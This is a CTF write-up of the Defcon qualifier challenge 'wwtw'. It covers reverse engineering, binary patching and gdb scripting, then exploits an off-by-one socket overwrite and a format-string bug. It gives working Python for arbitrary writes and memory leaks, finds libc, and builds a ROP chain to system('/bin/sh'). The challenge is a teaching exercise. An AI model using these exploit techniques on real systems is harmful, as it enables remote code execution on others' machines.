Defcon quals: wwtw (a series of vulns)

Hey folks,

This is going to be my final (and somewhat late) writeup for the Defcon Qualification CTF. The level was called "wibbly-wobbly-timey-wimey", or "wwtw", and was a combination of a few things (at least the way I solved it): programming, reverse engineering, logic bugs, format-string vulnerabilities, some return-oriented programming (for my solution), and Dr. Who references!

I'm not going to spend much time on the theory of format-string vulnerabilities or return-oriented programming because I just covered them in babyecho and r0pbaby.

And by the way, I'll be building the solution in Python as we go, because the first part was solved by one of my teammates, and he's a Python guy. As much as I hated working with Python (which has become my life lately), I didn't want to re-write the first part and it was too complex to do on the shell, so I sucked it up and used his code.

You can download the binary here, and you can get the exploit and other files involved on my github page.

Part 1: The game

The first part's a bit of a game. I wasn't all that interested in solving it, so I patched it out (see the next section) and discovered that there was another challenge I could work on while my teammate solved the game. This is going to be a very brief overview of my teammate's solution.

When you start wwtw, you will see this:

You(^V<>) must find your way to the TARDIS(T) by avoiding the angels(A).
Go through the exits(E) to get to the next room and continue your search.
But, most importantly, don't blink!
   012345678901234567890
00        <
01
02  A
03
04            A
05
06                AA
07    A        A
08 A
09
10  A     A
11                  A
12                 A
13
14                    A
15    A
16 A   A              E
17
18                A
19  A
Your move (w,a,s,d,q):

After a few seconds, it times out. The timeout can be patched out, if you want, but the timeouts are actually somewhat important in this level as we'll see later.

You can move around your character using the w,a,s,d keys, as indicated in the little message. Your goal is to reach the tardis - represented by a 'T' - by going through the exits - represented by 'E's - and avoiding the angels - represented by 'A's. The angels will follow you when your back is turned. This stuff is, of course, a Dr. Who reference. :)

The solution to this was actually pretty straight forward: a greedy algorithm that makes the "best" move toward the exit to a square that isn't occupied by an angel works 9 times out of 10, so we stuck with that and re-ran it whenever we got stuck in a corner or along the wall.

You can see the code for it in the exploit. I'm not going to dwell on that part any longer.

Part 1b: skipping the game

As I said, I didn't want to deal with solving the game, I wanted to get to the good stuff (so to speak), so I "fixed" the game such that every move would appear to be a move to the exit (it would be possible to skip the game part entirely, but this was easy and worked well enough).

This took a little bit of trial and error, but I primarily used the failure message - "Enjoy 1960..." - to figure out where in the binary to look.

If you look at all the places that string is found (in IDA, use shift-f12 or just search for it), you'll find one that looks like this:

.text:00002E14          lea     eax, (aEnjoy1960____0 - 5000h)[ebx] ; "Enjoy 1960..."

If you look back a little bit, you'll find that the only way to get to that line is for this conditional jump to occur:

.text:00002DC0 83 7D F4 01                             cmp     [ebp+var_C], 1
.text:00002DC4 75 48                                   jnz     short loc_2E0E

It's pretty easy to fix that, you can simply replace the jnz - 75 48 - with nops - 90 90. Here's a diff:

--- a   2015-06-03 17:09:22.000000000 -0700
+++ b   2015-06-03 17:09:44.000000000 -0700
@@ -3635,7 +3635,8 @@
     2db8:      e8 7f ed ff ff          call   1b3c <main+0x937>
     2dbd:      89 45 f4                mov    %eax,-0xc(%ebp)
     2dc0:      83 7d f4 01             cmpl   $0x1,-0xc(%ebp)
-    2dc4:      75 48                   jne    2e0e <main+0x1c09>
+    2dc4:      90                      nop
+    2dc5:      90                      nop
     2dc6:      8d 83 e0 00 00 00       lea    0xe0(%ebx),%eax
     2dcc:      8b 00                   mov    (%eax),%eax
     2dce:      83 f8 03                cmp    $0x3,%eax

Aside: Making the binary debug-able

Just as a quick aside: this program is a PIE - position independent executable - which means the addresses you see in IDA are all relative to 0. But when you run the program, it's assigned a "proper" address, even if ASLR is off. I don't know if there's a canonical way to deal with that, but I personally use this little trick in addition to turning off ASLR:

  1. Replace the first instruction in the start() or main() function with "\xcc" (software breakpoint) (and enough nop instructions to overwrite exactly one instruction)
  2. Run it in a debugger such as gdb
  3. (Optionally) use a .gdbinit file that automatically resumes execution when the breakpoint is hit

Here's the first line of start() in wwtw:

.text:00000A60 31 ED                                   xor     ebp, ebp

Since it's a two byte instruction ("\x31\xED"), we open the binary in a hex editor and replace those two bytes with "\xcc\x90" (the "\x90" being a nop instruction). If you try to execute it after that change, you should see this if you did it right:

$ ./wwtw-blog
Trace/breakpoint trap

And with a debugger, you can continue execution after that breakpoint:

$ gdb -q ./wwtw-blog
(gdb) run
Starting program: /home/ron/defcon-quals/wwtw/wwtw-blog

Program received signal SIGTRAP, Trace/breakpoint trap.
0x56555a61 in ?? ()
(gdb) cont
Continuing.
You(^V<>) must find your way to the TARDIS(T) by avoiding the angels(A).
Go through the exits(E) to get to the next room and continue your search.
[...]

You can also use a gdbinit file:

$ echo -e 'run\ncont' > gdbhax
$ gdb -q -x ./gdbhax ./wwtw-blog
Program received signal SIGTRAP, Trace/breakpoint trap.
0x56555a61 in ?? ()
You(^V<>) must find your way to the TARDIS(T) by avoiding the angels(A).
Go through the exits(E) to get to the next room and continue your search.
But, most importantly, don't blink!
[...]

Part 2: Starting the ignition (by debugging)

After you complete the fifth room and get to the Tardis, you're prompted for a key:

TARDIS KEY: abcd
Wrong key!
Enjoy 1960...
$ bcd

Funny story: I had initially nop'd out the failure condition when I was trying to nop out the "you've been eaten by an angel" code from earlier, so it actually took me awhile to even realize that this was a challenge. I had accidentally set it to - as I describe in the next section - accept any password. :)

Anyway, one thing you'll notice is that when it prompts you for the key, you can type in multiple characters, but after it kicks you out it prints all but the first character on the commandline. That's interesting, because it means that it's only consuming one character at a time and is therefore vulnerability to a bunch of attacks. If you happen to guess a correct character, it consumes one more:

TARDIS KEY: Uabcd
Wrong key!
Enjoy 1960...
$ bcd

(Note that it consumed both the "U" and the "a" this time)

Because it's checking one character at a time, it's pretty easy to guess it one character at a time - 62 max tries per character (31 on average) and a 10-character string means it could be guessed in something like 600 - 1000 runs. But we can do better than that!

I searched the source in IDA for the string "TARDIS KEY:" to get an idea of where to look for the code. You will find it at 0x00000ED1, which is in a fairly short function called from main(). In it, you'll see a call to both read() and getchar(). But more importantly, in the whole function, there's only one "cmp" instruction that takes two registers (as opposed to a register and an immediate value (ie, constant)):

.text:00000F45 39 C2                                   cmp     edx, eax

If I had to take a wild guess, I'd say that this function somehow verifies the password you type in using that comparison. And if we're lucky, it'll be a comparison between what we typed and what they expected to see (it doesn't always work out that way, but when it does, it's awesome).

To set a breakpoint, we need to know which address to break at. The easiest way to do that is to disable ASLR and just have a look at what address stuff loads to. It shouldn't change if ASLR is off.

On my machine, wwtw loads to 0x56555000, which means that comparison should be at 0x56555000 + 0x00000f45 = 0x56555f45. We can verify in gdb:

(gdb) x/i 0x56555f45
   0x56555f45:  cmp    edx,eax

We want to put a breakpoint there and print out both of those values to make sure that one is what we typed and the other isn't. I added the breakpoint to my gdbhax file because I know I'm going to be using it over and over:

$ cat gdbhax
run
b *0x56555f45
cont

And run the process (punching in whatever you want for the five moves, since we've already "fixed" the game):

$ gdb -q -x ./gdbhax ./wwtw-blog
[...]
Program received signal SIGTRAP, Trace/breakpoint trap.
0x56555a61 in ?? ()
Breakpoint 1 at 0x56555f45
You(^V<>) must find your way to the TARDIS(T) by avoiding the angels(A).
Go through the exits(E) to get to the next room and continue your search.
But, most importantly, don't blink!

[...]

TARDIS KEY: a

Breakpoint 1, 0x56555f45 in ?? ()
(gdb)
(gdb) print/c $edx
$2 = 65 'a'
(gdb) print/c $eax
$3 = 85 'U'
(gdb)

It's comparing the first character we typed ("a") to another character ("U"). Awesome! Now we know that at that comparison, the proper character is in $eax, so we can add that to our gdbhax file:

$ cat gdbhax
run
b *0x56555f45

cont

while 1
  print/c $eax
  cont
end

That little script basically sets a breakpoint on the comparison, then each time it breaks it prints eax and continues execution.

When you run it a second time, we start with "U" and then whatever other character so we can get the second character:

$ gdb -q -x ./gdbhax ./wwtw-blog
[...]
TARDIS KEY: Ua

Breakpoint 1, 0x56555f45 in ?? ()
$1 = 85 'U'

Breakpoint 1, 0x56555f45 in ?? ()
$2 = 101 'e'
Wrong key!

Then run it again with "Ue" at the start:

Breakpoint 1, 0x56555f45 in ?? ()
$1 = 85 'U'

Breakpoint 1, 0x56555f45 in ?? ()
$2 = 101 'e'

Breakpoint 1, 0x56555f45 in ?? ()
$3 = 83 'S'

...and so on. Eventually, you'll get the key "UeSlhCAGEp". If you try it, you'll see it works:

TARDIS KEY: UeSlhCAGEp
Welcome to the TARDIS!
Your options are:
1. Turn on the console
2. Leave the TARDIS

Part 2b: Without brute force

Usually in CTFs, if a password or key is English-looking text, it's probably hardcoded, and if it's random looking, it's generated. Since that key was obviously not English, it stands to reason that it's probably generated and therefore would not work against the real service. At this point, my teammate hadn't solved the "game" part yet, so I couldn't easily test against the real server. Instead, I decided to dig a bit deeper to see how the key was actually generated. Spoiler: it doesn't actually change, so this wound up being unnecessary. There's a reason I take a long time to solve these levels. :)

At the start of the function that references the "TARDIS KEY:" string (the function contains, but doesn't start at, address 0x00000ED1), you'll see this line:

.text:00000EEF        lea     eax, (check_key - 5000h)[ebx]

Later, that variable is read, one byte at a time:

.text:00000EFA top_loop:                               ; CODE XREF: check_key+A4j
.text:00000EFA                 mov     eax, [ebp+key_thing]
.text:00000EFD                 movzx   eax, byte ptr [eax]
.text:00000F00                 movsx   eax, al
.text:00000F03                 and     eax, 7Fh
.text:00000F06                 mov     [esp], eax      ; int
.text:00000F09                 call    _isalnum

At each point, it reads the next byte, ANDs it with 0x7F (clearing the uppermost bit), and calls isalnum() on it to see if it's a letter or a number. If it's a valid letter or number, it's considered part of the key; if not, it's skipped.

It took me far too long to see what was going on: the function I called check_key() actually references itself and reads its own code! It reads the first dozen or so bytes from the function's binary and compares the alpha-numeric values to the key that was typed in.

To put it another way: if you look at the start of the function in a hex editor, you'll see:

55 89 E5 53 83 EC 24 E8 DC FB FF FF 81 C3 3C 41...

If we AND each of these values by 0x7F and convert them to a character, we get:

1.9.3-p392 :004 > "55 89 E5 53 83 EC 24 E8 DC FB FF FF 81 C3 3C 41".split(" ").each do |i|
1.9.3-p392 :005 >     puts (i.to_i(16) & 0x7F).chr
1.9.3-p392 :006?>   end
U

e
S

l
$
h
\
{



C
<
A

If you exclude the values that aren't alphanumeric, you can see that the first 16 bytes becomes "UeSlhCA", which is the first part of the code to start the engine!

Satisfied that it wasn't random, I moved on.

Aside: Why did they use the function as the key?

Just a quick little note in case you're wondering why the function used itself to generate the password...

When you set a software breakpoint (which is by far the most common type of breakpoint), behind the scenes the debugger replaces the instruction with a software breakpoint ("\xcc"). After it breaks, the real instruction is briefly replaced so the program can continue.

If you break on the first line of the function, then instead of the first line of the function being "\x55", which is "pop ebp", it's "\xCC" and therefore the value will be wrong. In fact, putting a breakpoint anywhere in the first ~20 bytes of that function will cause your passcode to be wrong.

I suspect that this was used as a subtle anti-debugging technique.

Part 2c: Skipping the password check

Much like the game, I didn't want to have to deal with entering the password each time around, so I found the call that checks whether or not that password was valid:

.text:0000125E                 test    eax, eax
.text:00001260                 jz      short loc_129C
.text:00001262                 lea     eax, (aWrongKey - 5000h)[ebx] ; "Wrong key!"

And switched the jz ("\x74\x3a") to a jmp ("\xeb\x3a"). Once you've done that, you can type whatever you want (including nothing) for the key.

Part 3: Time travelling

Now that you've started the Tardis, there's another challenge: you can only turn on the console during certain times:

Welcome to the TARDIS!
Your options are:
1. Turn on the console
2. Leave the TARDIS
Selection: 1
Access denied except between May 17 2015 23:59:40 GMT and May 18 2015 00:00:00 GMT

Looking around in IDA, I see some odd stuff happening. For example, the program attempts to connect to localhost on a weird port and read some data from it! The function that does that is called sub_CB0() if you want to have a look. After it connects, it sets up an alarm() that calls sub_E08() every 2 seconds. In that function, it reads 4 bytes from the socket and stores them. Those 4 bytes turned out to be a timestamp.

Basically, it has a little timeserver running on localhost that sends it the current time. If we can make it use a different server, we can provide a custom timestamp and bypass this check. But how?

I played around quite a bit with this, but I didn't make any breakthroughs till I ran it in strace.

To run the program in strace, we no longer need the debugger, so we have to fix the first two bytes of start():

.text:00000A60 31 ED                                   xor     ebp, ebp

and run strace on it to see what's going on:

socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "\0\0\0\0\350\3\0\0", 8) = 0
connect(3, {sa_family=AF_INET, sin_port=htons(1234), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
write(3, "\0", 1)                       = 1
read(3, 0xffffcd88, 4)                  = -1 ECONNREFUSED (Connection refused)
[...]
--- SIGALRM {si_signo=SIGALRM, si_code=SI_KERNEL, si_value={int=111, ptr=0x6f}} ---
write(3, "\0", 1)                       = 1
read(3, 0xffffc6d8, 4)                  = -1 ECONNREFUSED (Connection refused)
alarm(2)                                = 0
sigreturn() (mask [])                   = 3
read(0, 0x5655a0b0, 9)                  = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
[...]

Basically, it makes the connection and gets a socket numbered 3. Every 2 seconds, it reads a timestamp from the socket. One of the first things I often do while working on CTF challenges is disable alarm() calls, but in this case it was actually needed! I suspected that this is another anti-debugging measure - to catch people who disabled alarm() - and therefore I should look for the vulnerability in the callback function.

It turns out there wasn't really that much code, but the vulnerability was somewhat subtle and I didn't notice until I ran it in strace and typed a bunch of "A"s:

read(0, AAAAAAAAAAAAAAAAAAAAAAAA
"AAAAAAAAA", 9)                 = 9
write(1, "Invalid\n", 8Invalid
)                = 8
[...]
--- SIGALRM {si_signo=SIGALRM, si_code=SI_KERNEL, si_value={int=111, ptr=0x6f}} ---
write(65, "\0", 1)                      = -1 EBADF (Bad file descriptor)
read(65, 0xffffc6d8, 4)                 = -1 EBADF (Bad file descriptor)
alarm(2)                                = 0
[...]

When I put a bunch of "A"s into the prompt, it started reading from socket 65 (aka, 0x41 or "A") instead of from socket 3! There's an off-by-one vulnerability that allows you to change the socket identifier!

If you were to use "AAAAAAAA\0", it would overwrite the socket with a NUL byte, and instead of reading from socket 3 or 65, it would read from socket 0 - stdin. The very same socket we're already sending data to!

Here's the python code to exploit this:

sys.stdout.write("01234567\0")
sys.stdout.flush()

time.sleep(2) # Has to be at least 2

sys.stdout.write("\x6d\x2b\x59\x55")
sys.stdout.flush()

That hex value is a timestamp during the prescribed time. When it reads that from stdin rather than from the socket it opened, it thinks the time is right and we can then activate the TARDIS!

Part 3b: Skipping the timestamp check

Once again, in the interest of being able to test without waiting 2 seconds every time, we can disable the timestamp check altogether. To do that, we find the error message:

.text:00001409  lea     eax, (aAccessDeniedEx - 5000h)[ebx] ; "Access denied except between %s and %s\"...

...and look backwards a little bit to find the jump that gets you there:

.text:000013BE E8 45 FA FF FF      call    check_timestamp
.text:000013C3 85 C0               test    eax, eax
.text:000013C5 74 2F               jz      short loc_13F6
.text:000013C7 8D 83 22 E1 FF FF   lea     eax, (aTheTardisConso - 5000h)[ebx] ; "The TARDIS console is online!"

And make sure it never happens (by replacing "\x74\x2F" with "\x90\x90"). Now we can jump directly to pressing "1" to active the TARDIS and it'll come right online:

$ ./wwtw-blog-nodebug
[...]
Welcome to the TARDIS!
Your options are:
1. Turn on the console
2. Leave the TARDIS
Selection: 1
The TARDIS console is online!Your options are:
1. Turn on the console
2. Leave the TARDIS
3. Dematerialize
Selection:

Part 4: Getting the coordinates

When we select option 3, we're prompted for coordinates:

Your options are:
1. Turn on the console
2. Leave the TARDIS
3. Dematerialize
Selection: 3
Coordinates: 1,2
1.000000, 2.000000
You safely travel to coordinates 1,2

If you look at the function that contains the "You safely travel..." string, you'll see that one of three things can happen:

  • It prints "Invalid coordinates" if you put anything other than two numbers (as defined by strtof() returning with no error, which means we can put a number then text without being "caught")
  • It prints "You safely travel to coordinates [...]" if you put valid coordinates
  • It prints "XXX is occupied by another TARDIS" if some particular set of coordinates are entered

The "XXX" in the output is actually the coordinates the user typed, as a string, passed directly to printf(). And we remember why printf(user_string) is bad, right? (Hint: format string attacks)

The function to calculate the coordinates used a bunch of floating point math, which made me sad - I don't really know how to reverse floating point stuff, and I don't really want to learn in the middle of a level. Fortunately, I noticed that two global variables were used:

.text:0000112B                 fld     ds:(dbl_3170 - 5000h)[ebx]
[...]
.text:00001153                 fld     ds:(dbl_3178 - 5000h)[ebx]

And if you look at the variables, you'll see:

.rodata:00003170 dbl_3170        dq 51.492137            ; DATA XREF: do_jump_EXPLOITME+104r
.rodata:00003170                                         ; do_jump_EXPLOITME+11Ar
.rodata:00003178 dbl_3178        dq -0.192878            ; DATA XREF: do_jump_EXPLOITME+12Cr
.rodata:00003178                                         ; do_jump_EXPLOITME+13Er

So that's kind of a freebie. If we enter them, it works:

Your options are:
1. Turn on the console
2. Leave the TARDIS
3. Dematerialize
Selection: 3
Coordinates: 51.492137,-0.192878
51.492137, -0.192878
Coordinate 51.492137,-0.192878 is occupied by another TARDIS.  Materializing there would rip a hole in time and space. Choose again.

And, to finish it off, let's verify that there is indeed a format-string vulnerability there:

Coordinates: 51.492137,-0.192878 %x %x %x
51.492137, -0.192878
Coordinate 51.492137,-0.192878 58601366 4049befe ef0f16f4 is occupied by another TARDIS.  Materializing there would rip a hole in time and space. Choose again.

Coordinates: 51.492137,-0.192878 %n
51.492137, -0.192878
Segmentation fault

Yup! :)

Part 4b: Format string exploit

I'm not going to spend any time explaining what a format string vulnerability is. If you aren't familiar, check out my last blog.

Instead, we're going to look at how I exploited this one. :)

The cool thing about this is, as you can see in the last example, if you enter "collision" coordinates (ie, the ones that trigger the format string vulnerability), the function doesn't actually return, it just prompts again. The function doesn't return until you enter valid-looking coordinates (like 1,1).

That's really handy, because it means we can exploit it over and over before letting it return. Instead of the crazy math we had to do in the earlier level, we can just write one byte at a time. And speaking of the last level, I actually solved this level before babyecho, so I didn't have the handy format-string generator that I wrote.

write_byte()

I wrote a function in python that will write a single byte to a chosen address:

def write_byte(addr, value):
    s = "51.492137,-0.192878 " + struct.pack("<I", addr)
    s += "%" + str(value + 256 - 24) + "x%20$n\n"

    print s
    sys.stdout.flush()
    sys.stdin.readline()

Basically, it uses the classic "AAAA%NNx%MM$n" string, which we saw a whole bunch in babyecho, where:

  • AAAA = the address as a 4-byte string (which will be the address written to by the %n)
  • NN = the number of bytes to waste to ensure that %n writes the proper value to AAAA (keeping in mind that the coordinates and address take up 24 bytes already)
  • MM = the number of elements on the stack before the format string reads itself (we can figure that out by bruteforce then hardcode it)

If that doesn't make sense, read the last blog - this is exactly the same attack (except simpler, because we only have to write a single byte).

leak()

Meanwhile, my teammate wrote this function that, while ugly, can leak arbitrary memory addresses using "%s":

def leak(address):
    print >> sys.stderr, "*** Leak 0x%04x" % address
    s = "51.492137,-0.192878 " + struct.pack("<I", address) + " >>>%20$s<<<"
    s = "    51.492137,-0.192878 >>>%24$s<<< " + struct.pack("<IIII", address, address, address, address)
    #print >> sys.stderr, "s", repr(s)
    print s
    sys.stdout.flush()
    sys.stdin.readline() # Echoed coordinates.
    resp = sys.stdin.readline()
    #print >> sys.stderr, "resp", repr(resp)
    m = re.search(r'>>>(.*)<<<', resp, flags=re.DOTALL)
    while m is None:
        extra = sys.stdin.readline()
        assert extra, repr(extra)
        resp += extra
        print >> sys.stderr, "read again", repr(resp)
        m = re.search(r'>>>(.*)<<<', resp, flags=re.DOTALL)
    assert m is not None, repr(resp)
    resp = m.group(1)
    if resp == "":
        resp = "\0"
    return resp

Then, exactly like the last blog, we use the vulnerability to leak a return address and frame pointer, then overwrite the return address with a chosen address, and thus obtain EIP control.

Getting libc's base address

Next, we needed an address to return to. This was a little tricky, since I wasn't able to steal a copy of their libc.so file (it's the only 32-bit level our team worked on) - that means I could easily exploit myself, because I have libc handy, but I couldn't exploit them. There's a "pwntool" module that can find base addresses given a memory leak, but it was too slow and the binary would time out before it finished (more on that later).

So, I used the format-string vulnerability and a bit of experience to get the base address of libc. We use %s in the format string to leak data from the PLT and get an address of anything in the libc binary - I chose to find printf() because it's the first one I could think of. That's at a static offset in the wwtw binary file (we already know the return address, since we leaked it off the stack, and that can be used to calculate where the PLT is).

Once I had that address, I worked my way backwards, reading the first bytes of each page (multiple of 0x1000) until I found an ELF header. Here's the code:

bf = printf_addr - 0xc280
while True:
    print >> sys.stderr, "Checking", hex(bf), " (printf - ", hex(printf_addr - bf), ")..."
    str = leak(bf)
    print >> sys.stderr, hexify(str)
    if(str[0:4] == "\x7FELF"):
        break

    bf -= 0x1000

I now had the relative offset of printf(), which means given the address of printf(), I can find the base address deterministically.

Getting system()'s address

Once I had the base address, I wanted to find the address of system(). I don't normally like using stuff I didn't write, because it's really hard to troubleshoot when there's a problem, but I couldn't find an easy way to do this by bruteforce, so I tried using pwntools ('leak' refers to the function shown earlier):

d = dynelf.DynELF(leak, libc_base_REAL)
system_addr = d.lookup("system", 'libc')

Once again, this was too slow and kept timing out. I looked at some options, like stealing the libc binary from memory by returning into the write() libc function (like I did in ropasaurusrex) or trying to make pwntools start where it left off after being disconnected, but none of it would work.

(in retrospect, I probably could have silently re-connected/re-solved the first half of the level in the leak() function and just continued where I left off, but that didn't occur to me till now, like two weeks later)

After fighting for far too long, I had a realization: maybe my home Internet connection just sucks. I uploaded the script to my server and it found the address on the first try (and solved the game portion like 10x faster).

Getting "/bin/sh"'s address

Although I ended up with the address of system(), getting the address of "/bin/sh" from libc might be a bit tricky, so instead I simply put the string in my own input buffer - the same buffer that contains the format string - and calculated the offset from the leaked ebp value to that address. Since it was on the stack, it was always at a fixed offset from the saved ebp, which we had access to.

I could easily have leaked libc until I found the offset to the string, but that's completely unnecessary.

Building the ROP chain

In the end, I had the address of system() and the address of "/bin/sh" in my buffer. I used them to construct a really simple ROP chain, similar to the one used in r0pbaby (the difference is that, since we're on 32-bit for this level, we can pass the address of "/bin/sh" on the stack and don't have to worry about finding a gadget):

write_byte(return_ptr+0, (system_addr >> 0) & 0x0FF)
write_byte(return_ptr+1, (system_addr >> 8) & 0x0FF)
write_byte(return_ptr+2, (system_addr >> 16) & 0x0FF)
write_byte(return_ptr+3, (system_addr >> 24) & 0x0FF)

write_byte(return_ptr+4, 0x5e)
write_byte(return_ptr+5, 0x5e)
write_byte(return_ptr+6, 0x5e)
write_byte(return_ptr+7, 0x5e)

sh_addr = buffer_addr + 200 + FUDGE
write_byte(return_ptr+8,  (sh_addr >> 0) & 0x0FF)
write_byte(return_ptr+9,  (sh_addr >> 8) & 0x0FF)
write_byte(return_ptr+10, (sh_addr >> 16) & 0x0FF)
write_byte(return_ptr+11, (sh_addr >> 24) & 0x0FF)

Basically, I wrote the 4-byte address of system() over the actual return address in four separate printf() calls. Then I wrote 4 useless bytes (they don't really matter - they're system()'s return address so I made them something distinct so I can recognize the crash after system() returns). Then I wrote the address of "/bin/sh" over the next 4 bytes (the first parameter to system()).

Once that was done, I sent "good" coordinates - 100000,100000 - which caused the function to return. Since the return address had been overwritten, it returned to system("/bin/sh") and it was game over.

Conclusion

I really liked this level because it was multiple parts.

First, we had to solve a game by making some simple AI.

Second, we had to find the "key" by either reverse engineering or debugging.

Third, we had to fix the timestamp using an off-by-one error.

And finally, we had to use a format string vulnerability to get EIP control and win the level.

One interesting dynamic of this level was that there were anti-debugging features in this level. One was the timeout that had to be used for the off-by-one error, since people frequently remove calls to alarm(), and the other was using the first few bytes of a function for something meaningful to mess with software breakpoints.

Leave a Reply

Your email address will not be published.